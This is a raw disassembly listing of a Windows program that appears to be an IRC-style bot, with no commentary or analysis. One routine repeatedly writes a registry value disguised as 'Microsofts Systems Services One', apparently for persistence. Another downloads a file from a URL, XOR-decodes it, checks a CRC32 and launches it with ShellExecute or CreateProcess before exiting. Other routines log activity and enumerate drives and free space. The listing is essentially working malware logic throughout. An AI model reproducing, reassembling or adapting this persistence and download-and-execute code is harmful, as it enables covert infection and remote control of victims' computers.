		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset aAliasList ; "-[Alias List]-"
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404555
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_42C1E0


loc_4030F7:				; CODE XREF: sub_4030CD+72j
		cmp	byte ptr [esi],	0
		jz	short loc_403132
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset aD_SS	; "%d. %s = %s"
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_40BDE7
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404555
		add	esp, 2Ch


loc_403132:				; CODE XREF: sub_4030CD+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_42CD60
		jl	short loc_4030F7
		pop	edi
		pop	esi
		leave
		retn
sub_4030CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403145	proc near		; CODE XREF: sub_401000+BEp
					; sub_4010CA+6Dp ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	dword_417068	; GetLocalTime
		mov	ebx, offset dword_42B278
		mov	edi, 0C0h
		mov	esi, offset dword_422278


loc_403167:				; CODE XREF: sub_403145+40j
		cmp	byte ptr [ebx],	0
		jz	short loc_403181
		push	0BFh
		lea	eax, [ebx+0C0h]
		push	ebx
		push	eax
		call	sub_40B110
		add	esp, 0Ch


loc_403181:				; CODE XREF: sub_403145+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_403167
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_40BDE7
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403145	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4031BC	proc near		; CODE XREF: sub_40322D+4p
					; sub_4054C7+1Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		mov	ebx, offset aMicrosoftsSyst ; "Microsofts Systems Services One "


loc_4031CC:				; CODE XREF: sub_4031BC+6Aj
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		push	edi
		push	0F003Fh
		push	edi
		push	edi
		push	edi
		push	off_41AD2C[esi]
		push	dword_41AD28[esi]
		call	dword_42B38C	; RegCreateKeyExA
		cmp	[ebp+arg_0], edi
		jz	short loc_40320D
		push	[ebp+arg_0]
		call	sub_40B5B0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	edi
		push	ebx
		push	[ebp+var_4]
		call	dword_42B3F8	; RegSetValueExA
		jmp	short loc_403217
; ---------------------------------------------------------------------------


loc_40320D:				; CODE XREF: sub_4031BC+33j
		push	ebx
		push	[ebp+var_4]
		call	dword_42B350	; RegDeleteValueA


loc_403217:				; CODE XREF: sub_4031BC+4Fj
		push	[ebp+var_4]
		call	dword_42B3B0	; RegCloseKey
		add	esi, 8
		cmp	esi, 18h
		jb	short loc_4031CC
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4031BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40322D	proc near		; CODE XREF: sub_40322D+16j
					; DATA XREF: sub_406422+368o

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4031BC
		pop	ecx
		push	dword_41AD24
		call	dword_417040	; Sleep
		jmp	short sub_40322D
sub_40322D	endp


; =============== S U B	R O U T	I N E =======================================



sub_403245	proc near		; CODE XREF: sub_40327E+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		or	esi, 0FFFFFFFFh
		test	edi, edi
		jz	short loc_403277
		mov	ecx, 0FFh
		push	ebx


loc_40325C:				; CODE XREF: sub_403245+2Fj
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_417228[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_40325C
		pop	ebx


loc_403277:				; CODE XREF: sub_403245+Fj
		mov	eax, esi
		pop	edi
		not	eax
		pop	esi
		retn
sub_403245	endp


; =============== S U B	R O U T	I N E =======================================



sub_40327E	proc near		; CODE XREF: sub_4032EE+23Fp

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_40B6BF
		mov	[esp+10h+var_10], offset dword_41AD40
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_40C7B8
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jnz	short loc_4032C9


loc_4032A3:				; CODE XREF: sub_40327E+37j
		xor	eax, eax
		jmp	short loc_4032EA
; ---------------------------------------------------------------------------


loc_4032A7:				; CODE XREF: sub_40327E+4Fj
		inc	ebx
		push	ebx
		push	esi
		call	sub_40C4F8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4032A3
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_40C410
		add	esp, 10h


loc_4032C9:				; CODE XREF: sub_40327E+23j
		test	byte ptr [edi+0Ch], 10h
		jz	short loc_4032A7
		dec	ebx
		push	ebx
		push	esi
		call	sub_403245
		push	esi
		mov	ebx, eax
		call	sub_40B771
		push	edi
		call	sub_40C3BA
		add	esp, 10h
		mov	eax, ebx


loc_4032EA:				; CODE XREF: sub_40327E+27j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40327E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4032EE	proc near		; DATA XREF: sub_406BAB+1E01o
					; sub_406BAB+20C0o

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		rep movsd
		xor	edi, edi
		xor	esi, esi
		inc	edi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_42B388
		call	dword_42B2FC	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_403767
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		call	dword_41707C	; CreateFileA
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_4033B5
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_41AF28
		push	eax
		call	sub_40B0B3
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_403398
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_404555
		add	esp, 14h


loc_403398:				; CODE XREF: sub_4032EE+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_403145
		push	[ebp+var_48]
		call	sub_40AD6A
		pop	ecx
		pop	ecx
		push	esi
		call	dword_417050	; ExitThread


loc_4033B5:				; CODE XREF: sub_4032EE+68j
		xor	edi, edi
		call	dword_41705C	; GetTickCount
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_40B6BF
		pop	ecx
		mov	[ebp+var_1C], eax


loc_4033CF:				; CODE XREF: sub_4032EE+1A9j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_40B630
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_42B304	; InternetReadFile
		cmp	[ebp+var_34], esi
		jz	short loc_403413
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4037CD
		pop	ecx
		pop	ecx


loc_403413:				; CODE XREF: sub_4032EE+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		call	dword_417078	; WriteFile
		cmp	edi, ebx
		jnb	short loc_403451
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_40343B
		mov	eax, [ebp+arg_0]


loc_40343B:				; CODE XREF: sub_4032EE+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	sub_40B210
		add	esp, 0Ch


loc_403451:				; CODE XREF: sub_4032EE+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_40345E
		cmp	edi, [ebp+var_3C]
		ja	short loc_40349D


loc_40345E:				; CODE XREF: sub_4032EE+169j
		mov	eax, edi
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_42CD60
		cmp	[ebp+var_44], 1
		jz	short loc_403486
		push	offset unk_41AEF0
		jmp	short loc_40348B
; ---------------------------------------------------------------------------


loc_403486:				; CODE XREF: sub_4032EE+18Fj
		push	offset unk_41AEBC


loc_40348B:				; CODE XREF: sub_4032EE+196j
		push	eax
		call	sub_40B0B3
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_4033CF


loc_40349D:				; CODE XREF: sub_4032EE+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_4034F2
		cmp	edi, [ebp+var_3C]
		jz	short loc_4034F2
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_41AE84
		push	eax
		call	sub_40B0B3
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_404555
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_403145
		add	esp, 28h


loc_4034F2:				; CODE XREF: sub_4032EE+1B9j
					; sub_4032EE+1BEj
		call	dword_41705C	; GetTickCount
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	dword_417074	; CloseHandle
		push	[ebp+var_1C]
		call	sub_40B771
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_40357C
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40327E
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_40357C
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_41AE58
		push	eax
		call	sub_40B0B3
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_404555
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_403145
		add	esp, 28h


loc_40357C:				; CODE XREF: sub_4032EE+236j
					; sub_4032EE+248j
		cmp	[ebp+var_14], esi
		jz	loc_4037B4
		cmp	[ebp+var_44], 1
		push	ecx
		lea	eax, [ebp+var_148]
		push	ecx
		jz	loc_403677
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_417628
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_417628
		fstp	[esp+590h+var_590]
		push	offset unk_41AE1C
		push	eax
		call	sub_40B0B3
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4035F7
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_404555
		add	esp, 14h


loc_4035F7:				; CODE XREF: sub_4032EE+2E7j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_403145
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_4037B4
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_42B358
		cmp	[ebp+var_30], esi
		jnz	loc_4037B4
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_41ADF4
		push	eax
		call	sub_40B0B3
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_404555
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_403145
		add	esp, 24h
		jmp	loc_4037B4
; ---------------------------------------------------------------------------


loc_403677:				; CODE XREF: sub_4032EE+2A3j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_417628
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_417628
		fstp	[esp+590h+var_590]
		push	offset unk_41ADB0
		push	eax
		call	sub_40B0B3
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4036D7
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_404555
		add	esp, 14h


loc_4036D7:				; CODE XREF: sub_4032EE+3C7j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_403145
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_40B630
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_40B630
		add	esp, 1Ch
		lea	eax, [ebp+var_10]
		mov	[ebp+var_310], edi
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		inc	edi
		push	eax
		push	esi
		mov	[ebp+var_304], offset byte_422270
		mov	[ebp+var_2E4], edi
		mov	[ebp+var_2E0], si
		call	dword_417070	; CreateProcessA
		cmp	eax, edi
		jnz	short loc_403759
		call	dword_42B344	; WSACleanup
		call	sub_4054C7
		push	esi
		call	dword_41706C	; ExitProcess


loc_403759:				; CODE XREF: sub_4032EE+457j
		lea	eax, [ebp+var_148]
		push	eax
		push	offset unk_41AD74
		jmp	short loc_403773
; ---------------------------------------------------------------------------


loc_403767:				; CODE XREF: sub_4032EE+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_41AD44


loc_403773:				; CODE XREF: sub_4032EE+477j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B0B3
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4037A7
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_404555
		add	esp, 14h


loc_4037A7:				; CODE XREF: sub_4032EE+497j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_403145
		pop	ecx


loc_4037B4:				; CODE XREF: sub_4032EE+291j
					; sub_4032EE+31Aj ...
		push	[ebp+var_18]
		call	dword_42B404	; InternetCloseHandle
		push	[ebp+var_48]
		call	sub_40AD6A
		pop	ecx
		push	esi
		call	dword_417050	; ExitThread
sub_4032EE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4037CD	proc near		; CODE XREF: sub_4032EE+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_4037E9


loc_4037D9:				; CODE XREF: sub_4037CD+1Aj
		mov	dl, byte_41C0E8
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4037D9

locret_4037E9:				; CODE XREF: sub_4037CD+Aj
		retn
sub_4037CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4037EA	proc near		; CODE XREF: sub_406BAB+1626p
					; sub_406BAB+1797p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40C7CB
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_4037EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403804	proc near		; CODE XREF: sub_403913+66p
					; sub_403913+97p ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_42B278
		push	0
		push	edi
		call	sub_40B630
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_403829:				; CODE XREF: sub_403804+5Bj
					; sub_403804+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_40C880
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_40C810
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_403867
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_403829
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_403829
; ---------------------------------------------------------------------------


loc_403867:				; CODE XREF: sub_403804+4Bj
		mov	eax, edi
		jmp	short loc_403870
; ---------------------------------------------------------------------------


loc_40386B:				; CODE XREF: sub_403804+72j
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax


loc_403870:				; CODE XREF: sub_403804+65j
		dec	esi
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jnb	short loc_40386B
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403804	endp


; =============== S U B	R O U T	I N E =======================================



sub_403882	proc near		; CODE XREF: sub_403A2E+51p
					; sub_403A2E+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_42B430	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_4038C5
		dec	eax
		jz	short loc_4038BF
		dec	eax
		dec	eax
		jz	short loc_4038B9
		dec	eax
		jz	short loc_4038B3
		dec	eax
		jz	short loc_4038AD
		dec	eax
		jz	short loc_4038A7
		mov	eax, offset word_41AF80
		retn
; ---------------------------------------------------------------------------


loc_4038A7:				; CODE XREF: sub_403882+1Dj
		mov	eax, offset aRam ; "RAM"
		retn
; ---------------------------------------------------------------------------


loc_4038AD:				; CODE XREF: sub_403882+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_4038B3:				; CODE XREF: sub_403882+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_4038B9:				; CODE XREF: sub_403882+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_4038BF:				; CODE XREF: sub_403882+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_4038C5:				; CODE XREF: sub_403882+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_403882	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4038CB	proc near		; CODE XREF: sub_403913+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_42B2E8
		test	eax, eax
		jz	short loc_403900
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA


loc_403900:				; CODE XREF: sub_4038CB+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4038CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403913	proc near		; CODE XREF: sub_403A2E+17p
					; sub_40A1F9+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4038CB
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_4039EB
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_4039EB
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_4039EB
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_40C900
		push	edx
		push	eax
		call	sub_403804
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_40BDE7
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_40C900
		push	edx
		push	eax
		call	sub_403804
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_40BDE7
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_40C900
		push	edx
		push	eax
		call	sub_403804
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_40BDE7
		add	esp, 18h
		pop	ebx
		jmp	short loc_403A1A
; ---------------------------------------------------------------------------


loc_4039EB:				; CODE XREF: sub_403913+2Cj
					; sub_403913+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_40B0B3
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_40B0B3
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_40B0B3
		add	esp, 18h


loc_403A1A:				; CODE XREF: sub_403913+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_403913	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A2E	proc near		; CODE XREF: sub_403B00+17p
					; sub_403B00+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_403913
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_40C250
		add	esp, 10h
		test	eax, eax
		jnz	short loc_403AA1
		push	ebx
		push	ebx
		call	sub_403882
		pop	ecx
		push	eax
		push	offset unk_41AFD4
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_40BDE7
		add	esp, 14h
		jmp	short loc_403AD5
; ---------------------------------------------------------------------------


loc_403AA1:				; CODE XREF: sub_403A2E+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_403882
		pop	ecx
		push	eax
		push	offset unk_41AF94
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_40BDE7
		add	esp, 20h


loc_403AD5:				; CODE XREF: sub_403A2E+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404555
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_403145
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403A2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403B00	proc near		; CODE XREF: sub_406BAB+2E1Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_403B21
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_403A2E
		add	esp, 10h
		jmp	short loc_403B80
; ---------------------------------------------------------------------------


loc_403B21:				; CODE XREF: sub_403B00+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_42B354	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi
		call	sub_40B6BF
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_42B354	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_403B77


loc_403B45:				; CODE XREF: sub_403B00+75j
		push	offset aA_1	; "A:\\"
		push	esi
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_403B68
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_403A2E
		add	esp, 10h


loc_403B68:				; CODE XREF: sub_403B00+54j
		push	esi
		call	sub_40B5B0
		lea	esi, [esi+eax+1]
		pop	ecx
		cmp	[esi], bl
		jnz	short loc_403B45


loc_403B77:				; CODE XREF: sub_403B00+43j
		push	edi
		call	sub_40B771
		pop	ecx
		pop	edi
		pop	esi


loc_403B80:				; CODE XREF: sub_403B00+1Fj
		pop	ebx
		pop	ebp
		retn
sub_403B00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


